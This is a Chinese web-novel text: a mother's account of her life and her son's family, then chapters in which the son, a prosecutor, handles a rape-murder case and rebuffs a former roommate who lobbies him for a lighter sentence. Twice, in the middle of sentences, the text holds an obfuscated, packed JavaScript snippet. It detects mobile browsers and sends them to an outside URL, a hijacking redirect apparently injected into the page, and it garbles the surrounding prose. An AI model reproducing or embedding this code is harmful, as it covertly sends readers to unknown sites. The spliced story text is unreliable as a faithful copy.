徐锦英生于安门市梁河县石沟子镇徐通村,家里兄弟姐妹五个,她是老大。和那个年代大部分的老大一样,她很早就开始帮父母分担家庭重担,照顾弟妹、洗衣煮饭、下地干活。但幸运的是,她有一对思想开明的父母,他们信奉“万般皆下品惟有读书高”,对五个孩子一视同仁,即便家中十分贫困,也咬着牙让他们兄弟姊妹五个都读了书。 初中毕业的时候,徐锦英就知道,她的书读到头了——他们家是真的没有钱供她读书了。总不能让连小学都没上完的弟弟妹妹辍学吧?徐锦英早就对此有了心理准备,心中并不如何沮丧。她不打算留在家里务农,而是决定去安门打工。出发前那天,她妈妈拿出了陪嫁的旧皮箱,将她的衣服都整整齐齐地叠好放了进去,并趁她不注意的时候往衣服里夹了二十块钱。那几乎是当时他们家积蓄的一大半。 徐锦英的第一份工作是在一家雪花膏工厂做工人,工资一个月十五块。徐锦英很喜欢这份工作,因为每到月底,厂里就会免费给他们这些工人发一盒瑕疵品雪花膏。有很多工友都选择把这些雪花膏低价卖给别人,但徐锦英没卖。她从小就爱漂亮,但由于家里一直都很穷,她从没有条件收拾打扮自己。厂里给的雪花膏是她人生中第一件化妆品。她第一次将它们抹到脸上的时候,心中的喜悦难以用语言形容。 她不光自己用,也把它们寄回去给家人用。但她后来听弟妹说,她妈并没有把那些雪花膏全留下自用,她把它们中的大部分挖到了一个大铁罐里,散装卖给村里人,一勺三分钱。 徐锦英在这家工厂做了七年,从一个普普通通的工人做到小组长,又做到部门主管。但在她二十三岁的那年,厂子经营不善,连着好几个月发不出工资,徐锦英见势不妙,辞了职。正好,她妈为她说了一门亲,一直催她回乡相看。她便回了老家。 徐锦英当时正是怀春的年纪,她抱着期待回到了老家,结果大失所望。相亲对象是镇上的小学老师,长相一般、性格木讷、寡言少语,他极力反对她婚后去安门工作,甚至反对她出去工作。徐锦英不想嫁,但父母却觉得这个人为人老实,值得托付。在和父母拌了几句嘴后,徐锦英负气离开了家。 而这一次,她的目的地不再是安门,而是他们景南省的省会,容州。她之前就听人说了,改开之后,容州发展得一日千里,工作机会多如牛毛。徐锦英在心里立志,她一定要在容州做出一番属于自己的事业,再找一个比那个小学老师好一千倍一万倍的男人,带回去让父母闭嘴! 在容州落脚后,徐锦英便开始找工作。她读过初中,长得漂亮又能说会道,很快就找到了一份合心意的工作——在容州最大的国营百货商场的化妆品柜台卖货。 徐锦英在这里又干了六年。也是在这里,她遇到了沈霞举。 徐锦英记得,那是88年的12月30号,那天下了小雨。每到年关,百货商场的人就特别多,那天也是一样。但徐锦英当时一眼就在人堆里瞄到了沈霞举。他长得很高、很白、很帅,头发像是一朵黑亮的云,鼻梁悬得合宜,口角生得适度,脸上每一处瞧着都让徐锦英欢喜。再加上他身上那股子彬彬有礼的气质,活脱脱一个诗文里的“翩翩浊世佳公子”。 徐锦英对他一见倾心。而让她心里小鹿乱撞的是,沈霞举来了她的柜台!他说,他想给他母亲选一套护肤品。徐锦英热情地接待了他。 在沈霞举选定了商品,从钱包里掏钱、数钱的时候,徐锦英度过了十分煎熬的一分钟:她今年已经二十八岁了。少女时代和她要好的几个小姐妹,现在孩子都能打酱油了。父母几乎每周都会打电报来催她结婚,在容州财经大学读大学的小妹也经常受到父母的“骚扰”,让她来催她处朋友,小妹因此已经来朝她诉过两回苦。 徐锦英嘴上说不急不急,但心里还是有点急的——她现在都已经是众人嘴里的老姑娘了,再过两年,她三十了,还怎么找适龄的对象? 人生,该出手时就出手! 徐锦英看着沈霞举,鼓起勇气:“同志,请问一下,你结婚了吗?有对象了吗?” 沈霞举愣了愣神,随后道:“啊……还没有。” 随后,他便立刻垂下头去,从头把手里的钱又数了一遍,耳朵以徐锦英肉眼可见的速度变红了。徐锦英心中觉得有些好笑——明明看着也是二十好几的人了,却有一种与年龄不符的青涩。 徐锦英不再犹豫,从记账的本子上撕下来一张纸,在上面写下了自己的姓名和地址。她将这张纸推给沈霞举:“我叫徐锦英,这是我的地址。” 徐锦英又撕了一张纸递给他:“你能把你的名字和地址告诉我吗?” 沈霞举飞速地眨了眨眼睛,过了十几秒后,他伸出手,示意徐锦英把笔递给他。 他们两个人做了一段时间的笔友,随后便陷入了热恋。沈霞举毕业于容州大学,是工学博士,现在在一家军工研究所工作。对于这个女婿,徐锦英的父母很是满意,如徐锦英所愿的“闭嘴”了,他们连声说,还好徐锦英当年没嫁给那个小学老师,没和他们介绍的人谈对象。在大字不识一个的两人眼里,沈霞举就跟文曲星一样。 但徐锦英在了解了沈霞举的家庭背景后,心里就开始打怵——她害怕自己过不去沈霞举父母那关。两个人家庭条件差距太大了。沈霞举是家里的独生子,父母都是知识分子,沈霞举的父亲是容州大学的数学教授,母亲是容州音乐学院管弦系教授,主教小提琴。 徐锦英一直担心沈霞举父母瞧不上自己。很多年后,徐锦英的婆婆也对她坦言,她和丈夫一开始并没看上她——一个出生于农村家庭、有四个弟弟妹妹、最高学历只有初中的女人,根本配不上他们的儿子。是沈霞举说服了他们。 这些都是后话。徐锦英和公婆的第一次见面风平浪静,沈霞举的父母态度虽然算不上热络,但也并不冷淡。他们给她包了个大红包,沈霞举的母亲秦灯还送了她一条金项链、一只翡翠镯子。 89年春,徐锦英和沈霞举结婚了。次年春,徐锦英发现自己怀了孕。这一年的国庆节,夜晚,伴随着鞭炮声,她和沈霞举的儿子出生了。沈霞举以大诗人屈原的字“灵均”给这个儿子取了名字。 沈灵均两岁那年,徐锦英工作单位附近新开了一家百货商场——这是一家外资集团所开的百货商场,许多徐锦英之前听都没听过的外资品牌在此安营扎寨。商场开业之后,徐锦英去里面逛了一圈,只觉得眼花缭乱。 作为一个在化妆品行业从业十几年、又爱美爱在脸上花功夫的人,商场里最吸引徐锦英的,是著名化妆品品牌Capet的专卖店。店里那些有着精美包装和出色功效的化妆品让她着迷,专卖店的售卖模式也让徐锦英有些吃惊——在徐锦英去过的所有百货商场、在徐锦英自己工作的百货商场,顾客都得隔着柜台买东西。顾客相中哪件东西,只能让售货员拿过来,自己无法去看去碰。 但在Capet的专卖店,柜台是开放的,徐锦英可以清楚地看到、碰到任何一件商品。这家专卖店的店长是个跟徐锦英年纪差不多的女人,她身穿一条很显身材的包臀裙,烫着一头时髦卷发,嘴上涂着浓郁的红色口红,看上去风情万种。她的服务态度很好,脸上一直带着淡淡的微笑,在买了东西后,她还会拿一个塑料袋帮她把东西装好,再用丝带系一个蝴蝶结将塑料袋系紧。 在Capet专卖店逛了一会,徐锦英的目光最终投向了店里的招工广告。 徐锦英下了决心——她要换工作! 在三十一岁的年纪,徐锦英放弃了原来稳定的工作,成为了中国第一批“柜姐”。 在Capet工作了一年,徐锦英自觉学到了很多东西,也拓宽了眼界,而时代也悄然变迁。那一年,国企改制,她原本工作的国营百货商场转为了股份制商场,商场的柜台开始对外承包。徐锦英从中嗅到了商机,在深思熟虑之后,徐锦英辞去了专卖店的工作,决定自己当老板。 在国营百货工作时,徐锦英和主管关系不错,于是,在他的关照下,徐锦英在商场最好的地段包下了一个柜台。随后她就开始天南地北地到处跑,和品牌工厂联络,试图拿下代理资格。很快,几乎掏空徐锦英一家全部积蓄的“花想容化妆品”店开张了。在随后的八年间,花想容在景南迅速扩张,成为了省内赫赫有名的连锁店。 迈入二十一世纪,在中国加入世贸组织这个大新闻的余波中,徐锦英又有了新的想法——她想做自己的化妆品品牌!这时,距离她第一次迈入Capet的专卖店已经快十年,这十年间,无数外国品牌涌入中国,迅速占领了中国的化妆品市场。“花想容”经销的产品中,百分之九十的商品来自外国品牌。很多她熟悉的国产化妆品品牌,已经在时光的淘洗中销声匿迹了。 徐锦英一向认为,一件事能不能做成,得先去做了才知道。但这一次,一向想做就做的徐锦英犹豫了。 数年前,她为了开店,花掉了家里所有的积蓄。之后,这些钱被她赚回来了,她赚回了那些钱好几倍的钱。她用这些钱为家里换了房子,买了车,给老家的父母新修了房子,还资助弟妹买了房——如果这一次她做了,但却做失败了,他们一家优渥的生活可能都会化为泡影。俗话说由俭入奢易,由奢入俭难,徐锦英承认,她有点害怕了。 但和之前的每一次一样,这一次,沈霞举依旧对她表示了支持。 创业之初,总是艰难。当徐锦英的第一个自创品牌芝玉在中国站稳脚跟的时候,她家里却出了事。在半年之间,一直帮助她照顾孩子、照顾家庭的公婆相继去世了。 也是在那个时候,徐锦英才恍然有种感觉——我儿子长大了。他好像一转眼就从她怀里的小豆丁变成了高她一个头、身姿挺拔的少年人,他一转眼,就从她怀里那个有着紫红面孔、皱巴巴的小猴子变成了剑眉星目、英俊潇洒的少年人。 徐锦英就跟很多文艺作品里的角色一样,犯了一个“事业有成的中年男人”会犯的错,她一心扑在事业上,忽略了家庭,尤其忽略了孩子的成长。 那之后,徐锦英有意分出精力放在沈灵均身上,但很快她就发现,或许是太迟了,这些精力、注意,对沈灵均来说都很多余。 他成绩优秀,人缘很好,是老师和同学的宠儿,从小学到 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家庭条件的变化也没对沈灵均造成任何影响。到了沈灵均高三的时候,芝玉已经在全国有了非常广泛的知名度,开始出现在全国各类商场里,徐锦英一家也算是彻头彻尾地实现了阶级跨越。徐锦英一开始还有些担心,担心家庭条件的变化会让沈灵均染上大手大脚、奢侈浪费的毛病,但很快她就发现,自己这份担心纯属多余。 沈灵均依旧常穿沈霞举买的、审美堪忧的旧衣服,和陈彦博一起吃十块钱就能吃饱的路边摊,草稿纸还是要写满两面才肯换。他对奢侈品缺乏兴趣,对进出高消费场所表现出了一种颇为明显的厌烦,最“挥金如土”的事是花钱买游戏机和游戏——他出大头,陈彦博出小头,他和陈彦博两个人玩,陈彦博为此直呼下辈子都记得他的恩情。 她的儿子有远超成年人的心智,他有自己的一套原则。他内心的原则像是棵扎根多年的树,你永远不知道想要掀翻它需要多大的狂风。因为它从未被连根拔起过。 2008年的5月20日——确切地说是5月21日,徐锦英到死都忘不了那一天。她人生中最灰暗的一天。那天晚上,沈灵均病了。这是件很稀奇的事,沈灵均身体向来很好,他上次生病还是读初中的事。于是那天不到十一点的时候,沈灵均就吃药睡下了,为了能照顾他,沈霞举和他睡在了一起。 21日凌晨一点多,沈霞举走进卧室告诉她,说儿子又烧起来了,但是家里已经没有退烧药了,他出门去买药。如果吃了药还不退烧,他明天就带他去打针。孩子要高考了,却病了,真是糟心。徐锦英迷迷糊糊地听着,点了点头。 但是过去了半个多小时,时间马上快两点了,沈霞举还没回来——去她家最近的24小时营业药店,步行只需十分钟。徐锦英给他打电话,但手机铃声却在屋内响了起来。可能是出门时太匆忙,沈霞举没有带手机。凌晨两点半的时候,徐锦英再也坐不住了,她换了衣服,拿上了手机钱包,出门去找沈霞举。 走到距离他们家最近的十字路口的时候,徐锦英发现路口停了一辆警车。 徐锦英当时心里猛地一跳。她走上前去,问警察出了什么事,警察告诉她,有个男人在这个十字路口被人撞了,被过路的车发现了,刚被救护车拉走。徐锦英只觉得脑子里轰的一声,整个人差点摔倒在地上。 随后她立刻打了车去医院。到了医院,她发现,被撞的人就是沈霞举。她一到,医生就拿来一大堆手术同意书和病危通知书让她签,说患者情况危急,性命垂危。徐锦英在这些文件上歪歪扭扭地签了名字。 在手术室外面哭了一会,徐锦英打电话给她的小弟徐锦程,让他去把沈灵均接到医院。当时徐锦英心里想的是,万一沈霞举挺不过来,她得让儿子见爸爸最后一面。 很快,徐锦程就带着他老婆和沈灵均来了。 徐锦英记得,沈灵均来到医院的第一句话是:“妈,爸是在哪被撞的?” 徐锦英答了。沈灵均第二句话是:“警察查到肇事车辆的牌照了吗?” 徐锦英说没有。 随后,手术室的门开了,医生出来了,他告诉徐锦英,沈霞举全身多处骨折,为了保住性命,沈霞举双腿都需要截肢,需要家属同意。 徐锦英感觉自己全身的骨头在那一刻也都折了。她整个人委顿在地上,嚎啕大哭起来。 沈灵均这时道:“截,我们截,”他蹲下身,问她道:“对不对,妈?” 她只能点头。 医生立刻进去做手术了。过了一会,护士给她拿了一张新的手术同意书让她签。但她当时情绪崩溃,手抖得拿不住笔,于是沈灵均问:“我能签吗?里面是我爸。” 但护士说他是未成年,母亲还在身边,那就得母亲签。 沈灵均于是一手环住她的肩,一手在把笔塞进她手里后用力握了她的手两下,道:“签吧,妈。” 徐锦英的肩顶在沈灵均的胸口处,她感受到了儿子坚实有力的肌肉,感觉到了他因为发烧而有些烫的体温。透过朦胧的泪光,她看见沈灵均平静到有些冷酷的脸。他的眼睛那么红,却没有泪。 好像又是在她不知道的时候,他从一个男孩,变成一个顶天立地的男人了。 沈霞举出事后两周,沈灵均迈入了高考考场。那时,他大病初愈,沈霞举还在ICU中挣扎。那一年,沈灵均考了676分,容州第二。他只比容州市第一名低两分,但因为第一名是少数民族,有加分,所以比裸分,他才是第一。 她的儿子,有一颗滚烫的、但是用钢铁打造的心。 * “他第一次谈恋爱,分手了我们才知道。他决定要读研,保研考试成绩出来了才告诉我们。可能是因为小时候我们管他管得太少了。他懂事了之后,什么心里话都不和我讲,也很少跟他爸讲。有一部分话,他可能觉得没必要,所以不讲,有一部分……可能是怕我们担心。” 徐锦英晃动着杯子里的酒:“可能跟他发小,跟彦博,会讲一些。但应该也不是全部。” “我觉得,这个世界上听过我最多真心话的人是你姐夫。我就是想……找一个能让他说很多真心话的人。一个能比朋友……听更多他真心话的人。” 34.第 34 章 周一,沈灵均一进办公室的门,目光就被他桌子上那一摞案卷吸引了。 “这么多?”沈灵均拍了拍这些案卷:“几个案子啊?” 余绵绵答道:“五个。一个强肩一抢劫两个故意杀人,还有一个贩毒。到年底了,公安那边现在正疯狂把手里的案子往外捯饬。” “案卷你都看了?” “对,然后那个强肩的案子,我觉得公安那边定的罪名有问题。” 沈灵均把那本案卷找出来:“什么问题?说说。” “案情是这样的。嫌疑人蔡明哲和被害人许婧是一对男女朋友,两个人都是梁城大学的大学生。十一假期的时候,两个人来容州旅游。两个人在十月二号中午入住了市内的一家四星级酒店,住的是大床房。当天晚上,蔡明哲提出要与许婧发生性关系,但是被许婧拒绝了,蔡明哲于是在浴室对许婧实施了暴力,导致许婧昏迷。在许婧失去意识后,蔡明哲强间了许婧。” “之后,蔡明哲把昏迷的许婧放到了浴缸里,许婧就这么溺死了。公安就给蔡明哲定了强肩罪,但我觉得应该是强肩、故意杀人两个罪名。” 沈灵均点点头:“我明白你的意思了,”沈灵均快速浏览着蔡明哲的口供:“这个蔡明哲,嘴很硬啊。到最后都不承认他自己是强肩,不认罪。每一次审讯说的供词都不一样。” “对!他一开始说,他和许婧是男女朋友,许婧又答应和他住一个房间,这就代表许婧的性同意了。之后可能是觉得这样没办法解释许婧身上的伤,又改口说,说许婧一开始同意和他发生性关系了,两个人发生性关系之后,许婧又反悔,威胁说如果蔡明哲不给她一百万她就告蔡明哲强兼,说许婧仙人跳,蔡明哲因此才生气打了她的。然后他说他以为许婧是装晕,所以才把人扔浴缸里的。说自己最多是个过失杀人。嘴比金刚钻都硬。” 沈灵均翻动着卷宗:“这个蔡明哲,家里条件不错?” “嗯,我听……我听乔瑜说,他爸是梁城一个建筑公司的老板,还有就是……这个案子,被害人家属出了谅解书。” 沈灵均有些意外:“出谅解书了?” 余绵绵做了个搓手的姿势:“蔡明哲家属没少给,”余绵绵撇了撇嘴:“许婧还有个弟弟。” “行,既然罪名上有点问题,我们就先弄这个案子吧。我今天看卷,明天上午咱们去提讯。” 第二天上午,沈灵均在容州市看守所见到了蔡明哲。蔡明哲今年二十岁,相貌中等,也不知道是他以前就这样,还是在看守所被关的太久了,眉目间有一股很明显的阴戾。 “说说你的作案经过。”沈灵均道。 蔡明哲的口供和他对警方做的最后一次口供没什么差别。 “按你说的,你和许婧发生性关系的时候,是两厢情愿的。” “对。” “看法医的尸检报告,你和许婧发生的性关系,是许婧的初次性行为。这个你知道吧?” “……嗯。” “嗯,你们俩的爱好挺小众啊,女方的初次性体验,不在床上,在浴室的地上。” 蔡明哲舔了舔唇:“怎么,不允许我们有点小众的爱好吗?而且,我们一开始是想洗鸳鸯浴的,在浴室怎么了?就不允许我们迫不及待一点吗?” “行。按照你说的,许婧在和你发生性关系之后勒索你。但是在这以前,你们俩都是浓情蜜意的一对小情侣呗?正常男女朋友发生性关系、女方第一次,能搞出那么多伤?这么搞,女孩不拿大嘴巴子抽你?” 蔡明哲梗着脖子:“我们、我们就喜欢玩得粗暴点!” 沈灵均语气不疾不徐:“行。蔡明哲,你可以继续这样,前言不搭后语、胡编乱造、挑战人类的朴素认知。我看警方都已经跟你说过好几次了,你这个案子人证物证齐全,你就算不认罪也不碍着我们走流程起诉你。你不认罪,只会害了你自己,放弃最后一点自救可能。” 蔡明哲有点语无伦次地说:“什么叫我自救……你们想把我怎么样啊?我没把她怎么样啊,我真以为她昏过去了,我顶多就是有点过失啊……” 从看守所离开后,余绵绵道:“这个蔡明哲,纯属是不见棺材不落泪、不到黄河心不死,他是打定了主意不认罪了。” “嗯。但我觉得,他心理素质其实并不怎么样,公安那边要是狠狠审他几轮,多磨磨,我觉得他应该也就撂了,案子办得有点糙。不过其他证据都是齐的,蔡明哲不认也不碍着什么。” “那哥,罪名是定强肩啊,还是强肩和故意杀人啊?” “强肩和故意杀人。你写个审查报告吧,下周一之前给我就行。” 这天中午,徐锦英给沈灵均打了个电话,她告诉他,事情还挺巧,芝玉和食堂西点档口承包方的合同年底就到期了,芝玉转年就可以和新的承包方签合同。挂断电话后,沈灵均犹豫了一会,觉得最好是与戚玉衡面谈这件事,便没有立即联系戚玉衡。 周四,蔡明哲的律师把电话打到了沈灵均办公室,希望能和他见个面。沈灵均同意了,两个人将见面时间约在了周五下午。 蔡明哲的律师的说辞和蔡明哲本人的证词差不多,都坚称蔡明哲没强肩更没杀人,顶天只能算是过失杀人。话里漏洞百出,被问倒了就不断地叠补丁,越说越离谱。双方聊了半天,一丁点共识都没聊出来。 在忙碌中,一周很快就过去了。这周六沈灵均没休息,而是主动来了院里加班。他休了两周假,这会又赶上年末,手里案子多,有两个案子已经快到诉期了,他必须得加班。晚上,沈灵均正打算下班回家的时候,他接到了韩春生的微信。 【春风吹又生:帅哥,今晚有没有时间[机智]?我来容州了,一起吃个饭?】 韩春生是他研究生舍友,人生经历十分励志。他父亲早逝,母亲守寡多年,一个人把他拉扯大,二人生活十分拮据。高考的时候,韩春生没考好,只考上了一个末流二本。但大学期间,他努力学习,把能拿的奖学金拿了个遍,最后以专业第一的成绩考上了燕大。研究生毕业后,他在燕城做了几年律师,在四年前回到了老家梁城执业。 沈灵均有两年没见过韩春生了,两人上次见面还是在韩春生的婚礼上。 沈灵均立刻回复道: 【Shen:你来容州了?来出差?】 【Shen:必须吃啊。我请客,你想吃什么?】 韩春生回复道: 【春风吹又生:不用,地方我都选好了。我已经到了,我就在这恭候您大驾了[奸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784585|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑]】 随后,韩春生就发给他一个饭店的定位。那个饭店沈灵均之前没听说过,但他在点评软件里一搜店名,发现这家店相当高档,软件估算人均消费为798。 沈灵均本来想拒绝韩春生——哪有朋友来自己的家乡,让朋友请客吃饭的?但看到韩春生发来的这家店,沈灵均犹豫了一会,没再反驳,只是回了一句: 【Shen:好,我马上到。】 沈灵均到包房的时候,桌上已经摆了好几盘菜了。韩春生看到他后立刻站了起来,大力抱了他一下:“均哥,好久不见了啊!” “可不是吗。快两年了吧,”沈灵均看着韩春生的肚子,有些揶揄地说:“怎么回事?圆润不少啊,幸福肥?” 韩春生拍了拍肚子:“啤酒肚。喝出来的,比不了你,大帅哥。人比人得死啊,你看着和咱们毕业的时候没两样,还是青春年少、风华正茂呢。” 等沈灵均坐下,韩春生便拿起桌上的酒要给沈灵均倒酒:“均哥,这不是什么名酒,就是我家乡酒,梁城大曲。咱们好久不见,喝一杯。” 沈灵均连忙用手扣住酒杯口:“不不不,生哥,我不能喝,开车来的。” “没事,一会叫个代驾呗!给我个面子啊均哥。” 沈灵均推拒着:“跟面子不面子的没关系,生哥,你知道我的,我以前就不好这个。喝不来。” 韩春生见劝不动他,很快也不再坚持:“那行。那就不喝了,咱们吃菜、吃菜。” 吃了两口菜,韩春生问:“最近工作怎么样?” 沈灵均笑道:“还是那样,没什么进步,但也没犯什么错误。” 韩春生看着他,咽下了嘴里的菜,缓缓道:“其实,均哥,我这次来,是有件事想跟你说。” 沈灵均抬头看向他:“你有话直说啊,咱这关系。” “是这样,去年年初,我离开华诚,入伙了稳衡。这律所没华诚那么有名,但是这次我是自己做合伙人。我觉得松快了一点。容州也有稳衡……”韩春生说到这,顿了顿,随后有些自嘲地说:“嗐,你都说了有话直说了,我又说多了。” “其实,我这次来,是想跟均哥你聊聊蔡明哲那个案子。” 沈灵均慢慢放下筷子:“是。蔡明哲的案子确实是稳衡代理的……生哥,你想怎么聊?既然你说要聊,这个案子的基本情况你应该了解了吧?你看到电子卷了吗?” “嗯,情况我都了解了。” “昨天蔡明哲的律师刚来见过我。他的辩护思路你清楚吗?” 韩春生垂下眼睛,下意识地用手摸了摸脖子:“我知道,马律师还跟我说了呢,他昨天被你一顿怼。嘿,我也觉得他那套不靠谱。均哥,我觉得,你定的罪名,没问题。一点问题都没有。我就是觉得,在量刑上,还有些余地。” “马律师说你的意见是死立执。你看,死缓是不是也可以?都是死刑嘛。” 韩春生说完,便笑了。但他笑了几声,发现沈灵均一直没说话,也没附和他的笑声,于是渐渐敛下了笑容。 “死立执和死缓到底有没有区别,生哥,你我都心知肚明。生哥,”沈灵均觉得嗓子有点干,他喝了口茶水:“嫌疑人一家给了你多少钱,才说动你来找我?” 35.第 35 章 韩春生脸色登时变得难看起来:“……均哥,你这话就有点难听了。” “那,我说错了吗?” 韩春生微微偏开脸,没立刻说话。随后,他把那瓶没开封的酒开了封,给自己倒了半杯酒,一饮而尽:“如果你不是我朋友,我也不会开这个口。” 沈灵均眉头紧锁:“是朋友,也不应该开这个口。生哥,你这是要干什么?引诱我犯错误?” 韩春生哂笑一声:“均哥,我引诱你犯什么错误了?我是给你行贿了,我还是劝你徇私枉法了?我就是跟你探讨,这个案子可不可以定死缓。这过分吗?这不可以吗?死缓完全是在合理的量刑空间内的啊,”韩春生抬起一只手,手指在空中点着:“你去案例检索网站查,类似的案子,定死立执和死缓的都有啊,你去查!” “探讨,”沈灵均将这两个字重复了一遍:“探讨之后呢?我同意你的观点,你要怎么做?我不同意,你又要怎么做?生哥,有些红线,不应该碰的啊。” 韩春生把酒杯往前一推,语气中带了些薄怒:“不是,沈灵均,我到底做什么了?我怎么就触碰红线了?我碰哪条红线了?我请我研究生舍友吃顿饭,我就犯法了?犯哪条法律了?沈检,大检察官,您懂法,您跟我说说!” 沈灵均冷着脸不去看他:“《中华人民共和国检察官法》第五十五条,《中华人民共和国律师法》第四十九条……需要我现在找出法条来念出来给你听吗?” 韩春生脸色涨红,朝沈灵均比大拇指:“好、好、好啊,不愧是你,不愧是大检察官。我触犯法律了是不是?那你去举报啊,你现在就打电话给律协、给司法局,你去报警,你让他们来抓我!不过请你吃个饭,让你说的我应该马上进去蹲号子一样!” 沈灵均也微微提高了声音:“够了!春生,今天这顿饭,你抱着什么心思来的,你比我清楚!你去看看那些死缓的判例,人家嫌疑人是什么态度!人家有没有认罪认罚?” “蔡明哲家属赔钱了啊!他家里人给那个许婧家里赔了两百多万呢,许婧家属都出了谅解书了。” “谅解书是什么法定减刑情节吗?蔡明哲本人呢?他什么态度?拒不认罪、执迷不悟、冥顽不灵、死不悔改!你有时间在这做我的工作,不如去劝劝他让他赶紧认罪……” 韩春生打断他:“是,他是有问题,但、但你也考虑当时的情况啊。两个人是男女朋友,许婧还答应和蔡明哲住一个房间……这是有两个人聊天记录作为证据的,没人逼她!一个成年女性,答应和男朋友同住一间大床房!这个行为背后的隐喻她是不懂吗!这种情况下,还不允许蔡明哲他、他有些期待可能性吗?” 沈灵均忍不住笑了一声。他看向韩春生,突然觉得,比起外在的变化,他内在的变化更大、更深、更不可逆。 “春生,你了解许婧这个人吗?” “她跟你一样,都来自单亲家庭。父亲在她四岁的时候因为炸石头失误,被炸死了。甚至,她比你还要不幸一些,她还有个弟弟,没能得到母亲全部的关注与爱。因为家里穷,她一度上不起学,因此中途辍学了两年,二十岁才高考。她很可能就是出于想省点钱的目的,才答应和蔡明哲住一个房间的,”沈灵均摆摆手:“……当然,这是我的猜测。人已经死了。但这个问题其实也不重要,就算许婧之前明明白白地答应蔡明哲,她要和他发生性关系,临了临了反悔了,蔡明哲就可以把人打到颅骨骨折、内部大出血、多处外伤?甚至把人杀了?他还有道理了?” 韩春生偏着头:“你这是在打感情牌。你在同情被害人。你已经在嫌疑人和被害人中选边站了。我说实话,灵均,你办案要是这么感性可不行。你不公平。你不客观。我觉得以你现在的情况,你不能保障嫌疑人的诉讼权利!” 韩春生又给自己倒了一杯酒,一仰头,全都喝了。随后,他重重地把酒杯撂在桌子上,粗喘几声:“沈灵均,你清高得很。你是不是觉得你自己特别高尚,你出淤泥而不染,你濯清涟而不妖,你已经站在道德的高地上,你俯视我们这些蝇营狗苟的虫豸!你瞧不起我,是不是?” “我从没这么说过!我就是……” 沈灵均话没来得及说完,韩春生就高声道:“你有什么好瞧不起我的?你有什么好瞧不起我们这类人的?” “你当然不用钻营、投机、伏低做小,你当然可以高高在上了!” “你知道现在各行各业,有多不景气吗?你知不知道,现在律师行业有多难做?!你知不知道生活的压力有多大?你知不知道,为了一个案子,我要喝多少酒、赔多少笑!我想干吗?我也不想干!但我不想干有的是人想干!” “这些事,你当然不用干了!你是什么人?你是大少爷!你要是干不好,就只能辞职回家去继承家里的几百亿资产了!你当然不需要为五斗米折腰,你当然不用遵循这社会上的很多规则,因为那些规则大多都是你们这类人定的!” “你当然不用敬酒、你当然不用赔笑了,因为你是饭桌上坐主位的那个。从来都只有别人在你面前扮小丑的份!呵,你以为你的腰杆为什么那么直?你家里的钱撑起来的!” “我要是你,我如果有你那样的家室,我也会这么清高。我看到我这样的人,我一定也会不屑一笑——哈,真是见钱眼开、唯利是图。但如果你变成我,你未必能像现在这样,正义凛然、不染俗尘。” 沈灵均穿上外衣,道:“既然大家话不投机,今天我就不多留了。” 正当沈灵均要开门的时候,韩春生在他背后道:“沈检,我就不送你了。今天我说话不好听,但你办案向来公正,绝不徇私。想必不会在蔡明哲这个案子上发泄私人情绪吧。” 沈灵均没回答他,拉开门出去了。 走到饭店门口,沈灵均才发现,外面下雨了。雨下得还不小,但他刚才一门心思听韩春生说话,根本没有听到雨声。 沈灵均看着落雨,想:走出这间饭店,以后这样和韩春生面对面吃饭的机会,应该就不会再有了。读研的时候,他们宿舍四个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788404|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感情很好。那些一起上下课、一起吃饭、一起实习的日子尚在眼前,然而,如今已然物是人非了。 这顿饭吃的,失去了一个朋友,还没吃饱。 沈灵均顶着雨上了车,他本想直接回家,但他仔细一看导航,发现他现在距离戚玉衡打工的酒吧只有不到两公里,而今天正好是周六,这个时间,如果不出意外,戚玉衡应该正在那里上班。 沈灵均想了想,驱车往Resonate赶去。到了Resonate,戚玉衡果然在。两人视线相对,沈灵均朝他点头示意了一下,随后找了个空位坐了下来。沈灵均扫了桌上的点餐码,给自己点了杯无酒精饮料。看到菜单上还有简餐,他于是又点了一份意面。 不一会,那位斯斯文文的老板——戚玉衡口中的肖哥,走上前来,道:“先生,跟您说一下,我们这里的意面都是用料理包炒的,炸鸡和薯条是预制的,只有水果是新鲜现切的,您看您刚才点的那个意面,还要吗?” 沈灵均:…… 这老板,倒是够实诚的。 “没事,料理包就料理包吧。” 今天无论是戚玉衡自己唱的歌还是客人点的歌,旋律都偏温柔舒缓,沈灵均听了一会,不知不觉的,一团乱麻的心绪也逐渐平静下来。 十点左右,戚玉衡宣布说要中场休息二十分钟,随后,他便抱着吉他跳下唱台,朝他跑了过来。他眼睛亮亮的,表情里带着显而易见的惊讶与喜悦:“沈检,你怎么来了?” 沈灵均的心微微一动。或许是被戚玉衡眼里的喜悦感染了,他的心也在一刹那间轻快不少。 “我办事路过这边,就顺路过来找你了。对了,这段时间,长乐的学习状态怎么样?” “挺好的,我觉得他这段时间进步得挺大的。这周二周三他们月考,长乐还说自己考得不错呢。” 两个人聊了一会,戚玉衡便又回去唱歌了。沈灵均把电脑拿了出来,继续写下午没写完的公诉意见书。 一晃又是两个小时,十二点,戚玉衡下班了。和中场休息的时候一样,他率先奔着他的方向而来:“沈检,你还没走?你……你是不是有事找我?” 沈灵均合上电脑:“是有件事想跟你说。” “那你刚才就应该直接跟我说的。没必要在这等我下班。现在时间已经很晚了。” “没事,我在这工作来着,一点时间都没耽误。正好,雨还没停,我直接送你回家吧。” 